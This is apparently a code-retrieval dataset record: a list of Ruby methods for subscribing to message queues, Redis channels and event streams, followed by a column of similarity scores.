"def subscribe(source)\n unless @subscriptions.include?(source)\n Log.debug(\"Subscribing to #{source}\")\n @connection.subscribe(source)\n @subscriptions << source\n end\n end",
"def subscriptions; end",
"def subscriptions; end",
"def subscriptions; end",
"def publish(stream, event_name, data)\n stream = stream_name(stream)\n connection.xadd(stream, { \"#{event_name}\": data })\n end",
"def add(channel_name, stream_name, connection)\n @mutex.synchronize do\n subscribers[channel_name][stream_name].push(connection)\n connection\n end\n end",
"def subscribe(_topic, **)\n raise 'not implemented'\n end",
"def subscribe(event_name, &block)\n @subscribers << Subscriber.new(event_name, block, @logger)\n\n return if thread_spawned?\n thread_spawned!\n\n Thread.new do\n loop { call_subscribers }\n end\n end",
"def subscribe\n @conn.subscribe(@queue_name, @headers)\n @@log.debug(\"subscribe to: #{@queue_name}\")\n @@log.debug(\"headers: #{@headers.inspect}\")\n end",
"def subscriber_names\n @client.smembers @name\n end",
"def subscribe\n @broker.subscribe(*self.class.subscriptions) do |channel, data|\n begin\n perform(channel, data)\n rescue => e\n puts \"Exception #{e}\"\n end\n end\n end",
"def stream(name, url)\n gateway_check\n update_status(@status, name, url)\n name\n end",
"def subscribe(source)\n unless @subscriptions.include?(source)\n EM::defer do \n Log.debug(\"Subscribing to #{source}\")\n wait_until_connected?\n @connection.subscribe(source)\n @subscriptions << source\n end\n end\n end",
"def get_subscribers\n @subscriptions = subscribers(@nodename)\n end",
"def listen\n # TODO\n self\n end",
"def subscribe_to(topic)\n StreamUser.create(:user => self, :stream_message => topic.stream_messages.last, :source => 'followed') if topic.stream_messages.last\n subscriptions << Subscription.new(:topic => topic)\n end",
"def pubsub; end",
"def subscribe(aSubscriber)\n subscribers << aSubscriber\n end",
"def subscribe_all\n @config.subscriptions.size.times do\n current\n select_next_consumer\n end\n end",
"def subscribe(connection)\n channel = connection.create_channel\n q = channel.queue DESTINATION_QUEUE, durable: true\n q.subscribe do |delivery, headers, body|\n puts \"#{Time.now}: Got the message\"\n end\nend",
"def subscribed\n location_id = params[:location_id].to_i\n location = Location.find(location_id)\n stream_for location\n \n @@locations_with_subscribers << location_id\n\n WeatherUpdateJob.schedule(location)\n end",
"def subscribe\n @bot.get_updates(fail_silently: true) do |message|\n parser = InputParser.new(message.text)\n subject = parser.parse_subject\n if subject != nil\n response = \"Hello #{subject}, I'm dad.\"\n message.reply do |reply|\n reply.text = response\n reply.send_with(@bot)\n end\n end\n end\n end",
"def subscribe\n\t if !self_owned? && !subscribed?\n\t\towners.each do |peer|\n\t\t peer.subscribe(self) unless peer.subcribed?(self)\n\t\tend\n\t end\n\tend",
"def subscribe(*args, &blk)\n (@client ||= connect).subscribe(*args, &blk)\n end",
"def subscribe(&blk)\n pres = connection.presence_stanza('to'=>jid.bare, 'type' => 'subscribe')\n connection.send_stanza pres, &blk\n end",
"def listen\n Thread.new do\n while true\n retrieve_messages\n sleep (0.1)\n end\n end\n end",
"def subscribe(response)\n response.headers['Content-Type'] = 'text/event-stream'\n @subscriber = response\n end",
"def accept_incoming\n request = ProtoRINA.flow_read(name: Name)\n end",
"def subscribe &handler\n input = \"\"\n response = 0\n #wait for message from pull socket\n while true\n response = @pull.recv_string(input)\n if !error?(response)\n input.chomp!\n\n #Message received\n yield input if block_given?\n Communicator::get_logger.info \"Message received: #{input}\"\n end\n end\n end",
"def subscribe_to_channel(*)\n synchronize_entrypoint! { super }\n end",
"def broadcast(event_name, payload)\n @redis.with do |conn|\n conn.lpush(\n @stream,\n serializer.serialize(\n id: SecureRandom.uuid,\n event_name: event_name,\n payload: payload\n )\n )\n end\n end",
"def subscribe(&callback)\n redis.subscribe(channel) do |on|\n on.message do |channel, payload|\n data = JSON.parse(payload) rescue payload\n callback.call channel, data, self\n end\n end\n end",
"def update_stream(name, params={})\n stream = ::M2X::Client::Stream.new(@client, self, \"name\" => name)\n\n stream.update!(params)\n end",
"def subscribe(subscribable, subscription_level = Subscription::Levels[:reader])\n subscribable.subscribe(self, subscription_level)\n end",
"def listen(p0) end",
"def listen(p0) end",
"def listen(p0) end",
"def subscribe(prefix = EVERYTHING)\n ffi_delegate.set_subscribe(prefix)\n end",
"def register(song_name)\n prior_play = @current_user.listens.select{|listen| listen.name == song_name}.first\n if prior_play\n @current_listen = prior_play\n @current_listen.plays += 1\n else\n @current_listen = Listen.new\n @current_listen.name = song_name\n @current_listen.plays = 1\n @current_user.listens << @current_listen\n end\n end",
"def subscribe(*addresses, &block)\n reactive.subscribe(*addresses, &block)\n end",
"def subscribe_to_chat(data)\n if current_user\n chat = fetch_cache(Chat, data['chat_id'])\n if chat && user_related_to_chat(chat, current_user)\n stream_from \"Chat:#{data['chat_id']}\"\n end\n end\n end",
"def stream_callback(name, options = {}, &block)\n if not block\n throw ArgumentError\n end\n\n\n # Set instance variable for original rendering before streaming is established\n instance_variable_set(\"@#{name}\", block.call)\n\n # Check if the request is initial or for streaming content\n #\n # If the request is not for streaming ignore the rest of the code\n unless params[STREAMING_PARAM]\n return false\n else\n\n response.headers['Content-Type'] = 'text/event-stream'\n\n connection = Strwatch::Connection.new(response.stream, name)\n\n lambda { connection.stream(block.call, options) }\n end\n end",
"def process\n river = Pebblebed::River.new\n queue_options = {\n :name => \"#{@app_name}.security_listener\",\n :path => '**',\n :klass => 'access_group|access_group_membership|access_group_subtree',\n :event => '**',\n :interval => 1\n }\n queue = river.queue queue_options\n queue.subscribe(block: true) do |delivery_info, metadata, payload|\n consider({:payload => payload})\n end\n end",
"def subscribe(*args, &block)\n listener = Listener.new(*args)\n listener.on_delivery(&block)\n @listeners << listener\n end",
"def subscribe!\n raise StandardError, \"Consumer already exists\" unless @consumer.nil?\n @consumer ||= @main_exchange.subscribe(@consumer_tag) do |delivery_info, metadata, payload|\n process(delivery_info, metadata, payload)\n end\n end",
"def subscribe(queue_name = nil, size = 1, &block)\n callback = block || method(:call)\n client.subscribe(\"/queue/#{queue_name || queue}\", { :ack => 'client', 'activemq.prefetchSize' => size }, &callback)\n end",
"def subscribe_frame d, h\n h[:ack] = 'auto' unless ['client', 'client-individual'].include?(h[:ack])\n create_frame 'SUBSCRIBE', [{:id => OnStomp.next_serial}, h, {:destination => d}]\n end",
"def init_stream_names\n streams = []\n\n has_more_streams = true\n\n while has_more_streams do\n response = @@client.list_streams({\n exclusive_start_stream_name: streams.last\n })\n\n streams.concat(response.stream_names)\n has_more_streams = response.has_more_streams\n end\n\n streams\n end",
"def subscribe(key)\n @amq.queue(key).subscribe do |value|\n yield value\n end\n end",
"def push_subscription(object)\n local_server.subscribe(object)\n synchro_point\n end",
"def subscribe(worker)\n subscriber = listen(worker)\n subscriber.on_error { |e| on_error(e) }\n subscriber.start\n end"
] |
[
"0.7166819",
"0.6991081",
"0.6792625",
"0.65793186",
"0.6559165",
"0.64436126",
"0.63945264",
"0.6386571",
"0.63276446",
"0.63206464",
"0.63154405",
"0.63038754",
"0.6244479",
"0.6235195",
"0.6203951",
"0.6202698",
"0.61762524",
"0.6153444",
"0.61477673",
"0.6132806",
"0.6044119",
"0.6037242",
"0.6002758",
"0.599458",
"0.599446",
"0.5878677",
"0.58653516",
"0.5856656",
"0.58054817",
"0.57920146",
"0.57919395",
"0.5788692",
"0.5784122",
"0.57762086",
"0.5757335",
"0.57540214",
"0.5743396",
"0.5742809",
"0.57365966",
"0.5682949",
"0.5682551",
"0.5667643",
"0.5657916",
"0.56573236",
"0.56572855",
"0.56376773",
"0.5634563",
"0.56215113",
"0.5612674",
"0.5601612",
"0.5601435",
"0.55989033",
"0.55989033",
"0.55989033",
"0.559878",
"0.55976313",
"0.55785763",
"0.55754876",
"0.5572473",
"0.55683273",
"0.55356663",
"0.5534144",
"0.5532632",
"0.5522449",
"0.5515863",
"0.55111146",
"0.5505718",
"0.54970324",
"0.5488889",
"0.54791516",
"0.54657114",
"0.5457044",
"0.54548097",
"0.544935",
"0.543792",
"0.54319465",
"0.5431004",
"0.54225653",
"0.54129934",
"0.53864783",
"0.53810924",
"0.5369426",
"0.53578967",
"0.5351787",
"0.53404665",
"0.53404665",
"0.53404665",
"0.5338427",
"0.53208125",
"0.53172314",
"0.528646",
"0.528151",
"0.52774775",
"0.527534",
"0.5273353",
"0.5273267",
"0.5262902",
"0.5261343",
"0.52511233",
"0.5247603",
"0.522714"
] |
0.0
|
-1
|
Subscribe for messages coming from cache of Live Stream with name 'name' The Live Stream will dispatch a message to the first ready subscriber in a roundrobin fashion.
|
def message_from_cache(name, options = {}, &block)
options[:from_cache] = true
receive_message_from name, options, &block
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def subscriber(name)\n subscriber_name = \"#{@name}.#{name}\"\n @client.sadd @name, subscriber_name\n queue = ::Qup::Adapter::Redis::Queue.new(@uri, subscriber_name, @name)\n ::Qup::Subscriber.new( self, queue )\n end",
"def subscribe(name, config = {})\n return if subscriptions.has_key? name\n\n queue = @channel.queue(ns(name), {:auto_delete => true}.merge!(config))\n queue.bind(@exchange, :routing_key => ns(name)) \n\n queue.subscribe do |headers, payload|\n decoded = MP.unpack(payload)\n subscriptions[name].handlers.each do |h|\n h.receive(decoded[\"uuid\"], headers.type, decoded[\"msg\"])\n end\n end\n\n subscriptions[name] = HandlerCollection.new(queue, [])\n end",
"def subscribe(message_name, &block)\n @subscriptions = {} if @subscriptions.nil?\n consumers = @subscriptions[message_name]\n consumers = [] if consumers.nil?\n consumers << block\n @subscriptions[message_name] = consumers\n @transport.bind message_name\n end",
"def subscribe(subscriber)\n semaphore.pop\n if self.cache.defined\n semaphore.push(nil)\n subscriber.call(cache.value)\n else\n self.subscribers.push(subscriber)\n semaphore.push(nil)\n end\n end",
"def subscribe(event_name, &block) # rubocop:disable Metrics/MethodLength\n @subscribers << Subscriber.new(event_name, block, @logger)\n\n return if thread_spawned?\n thread_spawned!\n\n Thread.new do\n loop do\n @redis.with do |conn|\n message = conn.brpoplpush(@stream, EVENT_STORE)\n call_subscribers(\n serializer.deserialize(message)\n )\n end\n end\n end\n end",
"def subscribed\n stream_from channel_name\n end",
"def subscribe(key)\n @amq.queue(key).subscribe do |value|\n yield value\n end\n end",
"def subscribe(name, params, &blk)\n id = self.next_id()\n self.send({msg: 'sub', id: id, name: name, params: params})\n\n @subs[name] = id\n @callbacks[id] = blk\n end",
"def subscribed\n super\n increase_current_users\n stream_from channel\n end",
"def subscribe\n @conn.send_data :opcode => SUBSCRIBE, :channel => @name\n @subscribe_sent = true\n end",
"def subscribe \n @subscription = MQ.new\n @subscription.queue(@uuid).bind(@subscription.fanout('global_history')).subscribe do |result|\n x = Mash.new(JSON::parse(result))\n puts \"received: #{x[:uuid]} #{x[:user]}@#{x[:host]}$ #{x[:message]}\"\n if x[:uuid] != @uuid\n @pause = true\n File.open(path, \"a\") {|f| f.puts(x[:message])}\n skip_ahead\n @pause = false\n schedule_next_read\n end\n end\n end",
"def subscribe\n # PSHB.subscribe(\"/api/superfeedr/receive_feeds/\", \"http://li182-172.members.linode.com/feeds/#{self.id}\", \"async\")\n PSHB.subscribe(\"/api/superfeedr/receive_feeds/\", self.url, \"async\")\n end",
"def do_subscribe\n subscribe_to(@nodename)\n get_subscriptions\n end",
"def subscriber( name )\n raise NotImplementedError, \"please implement 'subscriber'\"\n end",
"def subscribe\n debug [self.name, \"incoming\"]\n subscribe_request\n end",
"def subscribe\n conn = @cluster.connect\n conn.subscribe(ALL)\n conn.subscribe(SHARE)\n conn.subscribe(@channel)\n conn.on(:message) do |channel, message|\n @messages.push([channel, message])\n end\n end",
"def subscribe(key)\n @amq.queue(key).subscribe do |header, body|\n value = YAML.load(body)\n yield value\n end\n end",
"def subscribe(data)\n # @channels (local tracker)\n # push channel name into subscribe list, if and only if not already in subscribe list\n end",
"def subscribe(subscribes = [], queue_name = nil, subscribe_interval=10)\n return nil if subscribes.empty?\n\n # start listening on our queue\n queue = sqs.queue(queue_name)\n listener = QueueListener.new(queue)\n avail_proc = AvailabilityProcessor.new\n avail_proc.availability_changed = Proc.new do |availability_processor|\n info { \"Availability Changed! New list is:\\n #{availability_processor.all_available(false, true).inspect}\" }\n debug { \"received availability message #{availability_processor}\" }\n actions.each do |action|\n begin\n action.invoke(availability_processor)\n rescue Exception => ex\n error \"Error calling action #{action.inspect} with #{availability_processor.inspect}\", ex\n end\n end\n end\n listener.add_processor(avail_proc)\n listener_thread = listener.listen\n \n subscribe_thread = Thread.new do\n while true \n # subscribe to all the services we're interested in\n begin\n sub_msg = SubscriptionMessage.new(subscribes, queue_name, true)\n debug{ \"sending subscription message #{sub_msg.inspect}\" }\n send_message(monitor_queue, sub_msg)\n debug{ \"sleeping for #{subscribe_interval}s\" }\n sleep subscribe_interval\n rescue Exception => ex\n error \"Error sending subscription message: #{sub_msg.inspect}\", ex\n end\n end\n end\n \n return subscribe_thread\n end",
"def subscribe(url)\n subscribed_feed = UrlSubscriber.subscribe url, self\n end",
"def subscribed; end",
"def subscribe(*a, &b)\n name = gen_id\n EM.schedule { @subs[name] = EM::Callback(*a, &b) }\n\n name\n end",
"def subscribe\n @broker.subscribe(*self.class.subscriptions) do |channel, data|\n begin\n perform(channel, data)\n rescue => e\n puts \"Exception #{e}\"\n end\n end\n end",
"def subscribe!\n # TODO: Implement\n end",
"def stream(name)\n ::M2X::Client::Stream.fetch(@client, self, name)\n end",
"def subscribed\n \t#stream_from 'demo_chan'\n end",
"def subscribe(key)\n @queue = @rabbit.channel.queue(\"\", :exclusive => true)\n @queue.bind(@exchange, :routing_key => key)\n begin\n @queue.subscribe(:block => true) do |delivery_info, metadata, payload|\n message = JSON.parse(payload, symbolize_names: true)\n yield message\n end\n rescue Interrupt => _\n @rabbit.close\n end\n end",
"def run_subscribe(conn, dest)\n return if not @need_subscribe\n @log.debug \"run_subscribe starts\"\n conn.subscribe(dest) # call hook\n @log.debug \"run_subscribe done\"\n @need_subscribe = false\n @need_gets = true\nend",
"def subscribe(queue_name = nil, size = 1, &block)\n callback = block || method(:call)\n client.subscribe(\"/queue/#{queue_name || queue}\", { :ack => 'client', 'activemq.prefetchSize' => size }, &callback)\n end",
"def subscribe\n @conn.subscribe(@queue_name, @headers)\n @@log.debug(\"subscribe to: #{@queue_name}\")\n @@log.debug(\"headers: #{@headers.inspect}\")\n end",
"def subscribe(event_name, &block)\n @subscribers << Subscriber.new(event_name, block, @logger)\n\n return if thread_spawned?\n thread_spawned!\n\n Thread.new do\n loop { call_subscribers }\n end\n end",
"def listen_for_messages\n @queue.subscribe do |_delivery_info, _metad5ata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end",
"def subscribe\n @player.subscribe(self)\n end",
"def subscribe(source)\n unless @subscriptions.include?(source)\n EM::defer do \n Log.debug(\"Subscribing to #{source}\")\n wait_until_connected?\n @connection.subscribe(source)\n @subscriptions << source\n end\n end\n end",
"def subscribed\n id = params.fetch(:id)\n return unless execution = JobQueue.find_by_id(id)\n\n execution.viewers.push current_user\n\n Thread.new do\n ActiveRecord::Base.connection_pool.with_connection do\n builder = EventBuilder.new(execution.job)\n execution.output.each do |event, data|\n transmit event: event, data: builder.payload(event, data)\n end\n # TODO: disconnect all listeners so they close their sockets ?\n # then replace the reloaded/finished/waitUntilEnabled stuff with that\n end\n end\n end",
"def subscribe(event_name, &block)\n name = name_with_suffix(event_name)\n listener_names << name\n adapter.subscribe(name, &block)\n end",
"def subscribe(&callback)\n redis.subscribe(channel) do |on|\n on.message do |channel, payload|\n data = JSON.parse(payload) rescue payload\n callback.call channel, data, self\n end\n end\n end",
"def subscribe!\n raise StandardError, \"Consumer already exists\" unless @consumer.nil?\n @consumer ||= @main_exchange.subscribe(@consumer_tag) do |delivery_info, metadata, payload|\n process(delivery_info, metadata, payload)\n end\n end",
"def subscribe_all\n @config.subscriptions.size.times do\n current\n select_next_consumer\n end\n end",
"def listen_for_messages\n queue = @channel.queue(\"\")\n\n queue.bind(@exchange).subscribe do |delivery_info, metadata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end",
"def subscribe(*channels, &block); end",
"def broadcast(event_name, payload)\n @subscribers.map do |subscriber|\n subscriber.call(event_name, payload)\n end\n end",
"def subscribe(event_name, &block)\n @subscribers << Subscriber.new(event_name, block, @logger)\n end",
"def subscribe(source)\n unless @subscriptions.include?(source)\n Log.debug(\"Subscribing to #{source}\")\n @connection.subscribe(source)\n @subscriptions << source\n end\n end",
"def subscribe\n self.subscribed = true\n end",
"def subscribe_to_channel; end",
"def subscription(name = nil, &block)\n Subscription.new(name, &block)\n end",
"def polling\n while true do\n publish\n end\n end",
"def lookup_subscription_entry(name)\n\t\tend",
"def subscribed\n @course_queue = CourseQueue.find(params[:id])\n stream_for @course_queue\n end",
"def listen\n @queue.subscribe(block: true) do |delivery_info, properties, body|\n puts(body)\n end\n end",
"def subscribe(channel, *channels, &block); end",
"def listen\n Thread.new do\n while true\n retrieve_messages\n sleep (0.1)\n end\n end\n end",
"def subscribe\n \nend",
"def subscribers\n store[name].map { |r| r.contents } \n end",
"def receive\n raise \"No subscription to receive messages from\" if (@queue_names.nil? || @queue_names.empty?)\n start = @current_queue\n while true\n @current_queue = ((@current_queue < @queue_names.length-1) ? @current_queue + 1 : 0)\n sleep(@connection_options[:poll_interval]) if (@current_queue == start)\n q = @queues[@queue_names[@current_queue]]\n unless q.nil?\n message = retrieve_message(q)\n return message unless message.nil?\n end\n end\n end",
"def subscribe(&b)\n @publisher.subscribe(&b)\n end",
"def index\n last_event_id = 0\n key = params[:key]\n response.headers['Content-Type'] = 'text/event-stream'\n puts \"subscribing to #{key}\"\n begin\n sse = SSE.new(response.stream)\n ticker = Thread.new do\n sse.write 0, event: 'ack'\n sleep 5\n end\n\n r = Redis.new\n streamer = Thread.new do\n r.subscribe(key) do |on|\n on.message do |channel, message|\n response.stream.write(message)\n end\n end\n end\n\n ticker.join\n streamer.join\n rescue IOError\n puts \"ioerror:: #{$!}\"\n ensure\n Thread.kill(ticker) if ticker\n Thread.kill(streamer) if streamer\n sse.close\n r.quite\n end\n end",
"def subscribe_webhook\n @redis = EM::Hiredis.connect(Settings.redis)\n pubsub = @redis.pubsub\n pubsub.subscribe(subscribed_channel)\n pubsub.on(:message) do |channel, message|\n render(message, event: :webhook)\n end\n end",
"def subscribe_channels\n @channels.each { |channel| subscribe(channel) }\n end",
"def subscribe_to_channel(*)\n synchronize_entrypoint! { super }\n end",
"def broadcast(event_name, payload)\n @redis.with do |conn|\n conn.lpush(\n @stream,\n serializer.serialize(\n id: SecureRandom.uuid,\n event_name: event_name,\n payload: payload\n )\n )\n end\n end",
"def listen \n response.headers[\"Content-Type\"] = \"text/event-stream\"\n redis = Redis.new\n\n key = \"/node/#{params[:event_id]}:change\"\n logger.info \"listen #{key}\"\n redis.subscribe(key) do |on|\n on.message do |event, data|\n response.stream.write \"event: update\\n\"\n response.stream.write \"data: \"+data+\"\\n\\n\"\n end\n end\n\n rescue IOError \n # Client disconnected\n ensure \n response.stream.close\n end",
"def initialize name, conn\n @conn = conn\n @name = name.to_s\n @callbacks = {}\n @subscribe_sent = false\n end",
"def subscriptions; end",
"def subscriptions; end",
"def subscriptions; end",
"def subscribe(*args, &blk)\n (@client ||= connect).subscribe(*args, &blk)\n end",
"def stream(name, url)\n gateway_check\n update_status(@idletime, name, url)\n name\n end",
"def subscribe(connection)\n channel = connection.create_channel\n q = channel.queue DESTINATION_QUEUE, durable: true\n q.subscribe do |delivery, headers, body|\n puts \"#{Time.now}: Got the message\"\n end\nend",
"def get_subscribers\n @subscriptions = subscribers(@nodename)\n end",
"def register(song_name)\n prior_play = @current_user.listens.select{|listen| listen.name == song_name}.first\n if prior_play\n @current_listen = prior_play\n @current_listen.plays += 1\n else\n @current_listen = Listen.new\n @current_listen.name = song_name\n @current_listen.plays = 1\n @current_user.listens << @current_listen\n end\n end",
"def start\n # subscribe is like a callback\n @server_queue.subscribe(block: @block) do |delivery_info, properties, payload|\n consume(delivery_info, properties, payload)\n end\n end",
"def monitor_redis\n # redis.dup.subscribe(REDIS_CHANNEL) do |on|\n redis.subscribe(REDIS_CHANNEL) do |on|\n on.message do |_, message|\n l = REDIS_HEAD_FIELD_LENGTH\n channel = message[0, l].strip\n client_id = message[l, l].strip\n json = message[(l * 2)..-1]\n send_json_message(client_id: client_id, channel: channel, json: json)\n end\n end\n end",
"def fetch queue_name, source_uri\n ReliableMsg::Queue.new(queue_name, :drb_uri => source_uri).get { |m|\n begin\n tx = Thread.current[ReliableMsg::Client::THREAD_CURRENT_TX]\n Thread.current[ReliableMsg::Client::THREAD_CURRENT_TX] = nil\n\n @logger.info { \"message fetched - <#{m.id}>\" }\n yield m\n\n ensure\n Thread.current[ReliableMsg::Client::THREAD_CURRENT_TX] = tx\n end\n }\n end",
"def subscribed\n id = params.fetch(:id)\n\n @thread = Thread.new do\n ActiveRecord::Base.connection_pool.with_connection do\n (MAX_WAIT / WAIT_DURATION).times do\n break if @unsubscribed\n\n # running\n execution = JobQueue.find_by_id(id)\n break stream_execution(execution) if execution\n\n # cancelled or we missed it running\n job = Job.find(id)\n break stream_finished_output(job) if job.finished?\n\n # pending\n sleep WAIT_DURATION\n end\n end\n end\n end",
"def enqueue_subscribe_job(url)\n UrlSubscriber.enqueue_subscribe_job url, self\n end",
"def subscribe(&onMessage) # block\n end",
"def start\n subscribe &Proc.new { |message| listener(message) }\n end",
"def listen(&block)\n queue.bind(exchange).subscribe do |delivery_info, metadata, event|\n block.call(event)\n end\n nil\n end",
"def monitor()\n listener = QueueListener.new(monitor_queue)\n sub_processor = SubscriptionProcessor.new\n avail_processor = AvailabilityProcessor.new(true)\n\n listener.add_processor(sub_processor)\n listener.add_processor(avail_processor)\n\n # add a post-processor to let the subscriber know\n # of all the available services it is interested in, \n # that we currently know about.\n sub_processor.post_process = Proc.new do |msg|\n begin\n if msg.subscribe\n info { \"received subscription from #{msg.response_queue} for #{msg.services.inspect}\" }\n debug { \"got subscription #{msg.inspect}\" }\n queue = sqs.queue(msg.response_queue)\n\n # determine which services that this subscriber is interested in,\n # and organize them by ipv4 address (so we can send a minimal amount of messages)\n ipv4_services = {}\n\n msg.services.each do |service|\n # send an availability message for each service\n addrs = avail_processor.available(service)\n addrs.each do |addr|\n ipv4_services[addr.ipv4] ||= []\n ipv4_services[addr.ipv4] |= [\"#{service}#{addr.port}\"]\n end\n end\n\n ipv4_services.each do |ipv4, services|\n avail_msg = AvailabilityMessage.new(services, ipv4, true)\n debug { \"sending availability msg #{avail_msg.inspect}\" }\n send_message(queue, avail_msg)\n end\n end\n rescue Exception => ex\n error \"Error during post-process for message #{msg.inspect}\", ex\n end\n end\n\n # add a post-processor to let any subscribers know of\n # updates to availability, even keep-alives.\n avail_processor.post_process = Proc.new do |msg|\n debug { \"received availability message #{msg.inspect}\" }\n begin\n msg.services.each do |service|\n # service may have included a port, so strip that off when we\n # search for subscribers\n service_minus_port = service.gsub(/:.*$/, '')\n\n sub_processor.response_queues(service_minus_port).each do |response_queue|\n # original message may have included more services \n # other than what the subscriber is interested in\n avail_msg = AvailabilityMessage.new([service], msg.ipv4addr, msg.available, msg.ttl)\n debug { \"sending availability message #{avail_msg.inspect}\" }\n send_message(sqs.queue(response_queue), avail_msg)\n end\n end\n rescue Exception => ex\n error \"Error during post-process for message #{msg.inspect}\", ex\n end\n end\n\n # TODO: allow control over this thread\n unavail_thread = Thread.new do\n while true\n begin\n avail_processor.expired.each do |service, addr_list|\n info { \"#{service} on #{addr_list.inspect} expired\" }\n sub_processor.response_queues(service).each do |response_queue|\n addr_list.each do |addr|\n msg = AvailabilityMessage.new([\"#{service}#{addr.port}\"], addr.ipv4, false, -1)\n debug { \"sending unavailable message #{msg.inspect} to #{response_queue}\" }\n begin\n send_message(sqs.queue(response_queue), msg)\n rescue Exception => ex\n error \"Error sending unavailable message #{msg.inspect} to #{response_queue}\", ex\n end\n end\n end\n end\n rescue Exception => ex\n error \"Unexpected exception in expiration thread!\", ex\n end\n sleep 1\n end\n end\n \n\n return listener.listen\n end",
"def subscribe( key, node )\n\t\tkey = key.to_sym\n\t\tself.log.debug \"Adding subscription to %p nodes for %p\" % [ key, node ]\n\t\tself.subscriptions[ key ] << node\n\t\t# self.log.debug \" now have subscriptions for: %p\" % [ self.subscriptions.keys ]\n\t\tif self.published_nodes.key?( key )\n\t\t\tself.log.debug \" re-publishing %d %p nodes to late subscriber\" %\n\t\t\t\t[ self.published_nodes[key].length, key ]\n\t\t\tnode.publish( *self.published_nodes[key] )\n\t\tend\n\tend",
"def add(channel_name, stream_name, connection)\n @mutex.synchronize do\n subscribers[channel_name][stream_name].push(connection)\n connection\n end\n end",
"def subscribe &handler\n input = \"\"\n response = 0\n #wait for message from pull socket\n while true\n response = @pull.recv_string(input)\n if !error?(response)\n input.chomp!\n\n #Message received\n yield input if block_given?\n Communicator::get_logger.info \"Message received: #{input}\"\n end\n end\n end",
"def process\n river = Pebblebed::River.new\n queue_options = {\n :name => \"#{@app_name}.security_listener\",\n :path => '**',\n :klass => 'access_group|access_group_membership|access_group_subtree',\n :event => '**',\n :interval => 1\n }\n queue = river.queue queue_options\n queue.subscribe(block: true) do |delivery_info, metadata, payload|\n consider({:payload => payload})\n end\n end",
"def subscribe(args)\n ## Capture User Input\n channel = args['channel']\n callback = args['callback']\n timetoken = args['timetoken'] ? args['timetoken'] : 0\n\n ## Fail if missing channel\n if !channel\n puts \"Missing Channel.\\n\"\n return false\n end\n\n ## Fail if missing callback\n if !callback\n puts \"Missing Callback.\\n\"\n return false\n end\n\n ## Begin Recusive Subscribe\n begin\n ## Wait for Message\n response = self._request([\n 'subscribe',\n @subscribe_key,\n channel,\n '0',\n timetoken.to_s\n ])\n\n messages = response[0]\n args['timetoken'] = response[1]\n\n \n ## If it was a timeout\n if !messages.length\n return self.subscribe(args)\n end\n\n ## Run user Callback and Reconnect if user permits.\n messages.each do |message|\n if !callback.call(message)\n return\n end\n end\n\n ## Keep Listening.\n return self.subscribe(args)\n rescue Timeout::Error\n return self.subscribe(args)\n rescue\n sleep(1)\n return self.subscribe(args)\n end\n end",
"def subscribers\n subs = {}\n subscriber_names.each do |sname|\n subs[sname] = ::Qup::Adapter::Redis::Queue.new(@uri, sname, @name)\n end\n return subs\n end",
"def subscribed # :doc:\n # Override in subclasses\n end",
"def get(name)\n check_name!(name)\n scan\n\n synchronize do\n @tracker[name] || Set.new\n end\n end",
"def subscribe(aSubscriber)\n subscribers << aSubscriber\n end",
"def subscribe_on_next\n obs = RX::Observer.configure do |o|\n o.on_next yield\n end\n\n self.subscribe obs\n end",
"def subscribe\n\t if !self_owned? && !subscribed?\n\t\towners.each do |peer|\n\t\t peer.subscribe(self) unless peer.subcribed?(self)\n\t\tend\n\t end\n\tend",
"def call(*args)\n payload = args.last\n subscriber.call(payload)\n end",
"def publish( message )\n subscribers.each do |name, subscriber|\n subscriber.produce( message )\n end\n end",
"def subscribe_queue(name, opts = {})\n # TBD: here and analogously; only push in self and dynamically call native_client?(:mq)\n R8QueueMQ.new(self, name, opts)\n end",
"def stream(name, url)\n gateway_check\n update_status(@status, name, url)\n name\n end",
"def subscribe(args)\n ## Capture User Input\n channel = args['channel']\n callback = args['callback']\n\n ## Fail if missing channel\n if !channel\n puts \"Missing Channel.\"\n return false\n end\n\n ## Fail if missing callback\n if !callback\n puts \"Missing Callback.\"\n return false\n end\n\n ## Begin Subscribe\n loop do\n begin\n timetoken = args['timetoken'] ? args['timetoken'] : 0\n\n ## Wait for Message\n response = _request([\n 'subscribe',\n @subscribe_key,\n channel,\n '0',\n timetoken.to_s\n ])\n\n messages = response[0]\n args['timetoken'] = response[1]\n\n ## If it was a timeout\n next if !messages.length\n\n ## Run user Callback and Reconnect if user permits.\n ## Capture the message and encrypt it\n if @cipher_key.length > 0\n pc = PubnubCrypto.new(@cipher_key)\n messages.each do |message|\n if message.is_a? Array\n message=pc.decryptArray(message)\n else\n message=pc.decryptObject(message)\n end\n if !callback.call(message)\n return\n end\n end\n else\n messages.each do |message|\n if !callback.call(message)\n return\n end\n end\n end\n rescue Timeout::Error\n rescue\n sleep(1)\n end\n end\n end",
"def subscribe(*args, &block)\n listener = Listener.new(*args)\n listener.on_delivery(&block)\n @listeners << listener\n end",
"def monotonic_subscribe(pattern = nil, callback = nil, &block)\n notifier.subscribe(pattern, callback, monotonic: true, &block)\n end",
"def callback(value)\n semaphore.pop\n self.cache = Some.new(value)\n while subscribers.count > 0\n sub = self.subscribers.shift\n Thread.new { sub.call(value) }\n end\n semaphore.push(nil)\n end"
] |
[
"0.6611188",
"0.65202487",
"0.6279059",
"0.6273242",
"0.6239245",
"0.59274143",
"0.5902124",
"0.58827585",
"0.58807975",
"0.5837619",
"0.5830744",
"0.5804832",
"0.57631284",
"0.57379323",
"0.5686241",
"0.5590389",
"0.55828106",
"0.5571048",
"0.5568643",
"0.55573237",
"0.5516924",
"0.5510645",
"0.55007637",
"0.54850996",
"0.5478389",
"0.5470679",
"0.5441072",
"0.5413069",
"0.540733",
"0.53898025",
"0.538786",
"0.5363462",
"0.5356793",
"0.53456193",
"0.53432983",
"0.53357345",
"0.53217375",
"0.53212154",
"0.5297995",
"0.5283954",
"0.5244762",
"0.523209",
"0.52268994",
"0.52155817",
"0.5209814",
"0.52016765",
"0.51891255",
"0.5182899",
"0.51603895",
"0.5158182",
"0.51504284",
"0.51436937",
"0.5121989",
"0.5118332",
"0.5105526",
"0.51007426",
"0.51002824",
"0.50915056",
"0.5091043",
"0.5088171",
"0.5085328",
"0.5084095",
"0.5061915",
"0.505387",
"0.50392586",
"0.50392586",
"0.50392586",
"0.50381327",
"0.50369817",
"0.5034896",
"0.5029645",
"0.5011011",
"0.50077575",
"0.50028414",
"0.49971837",
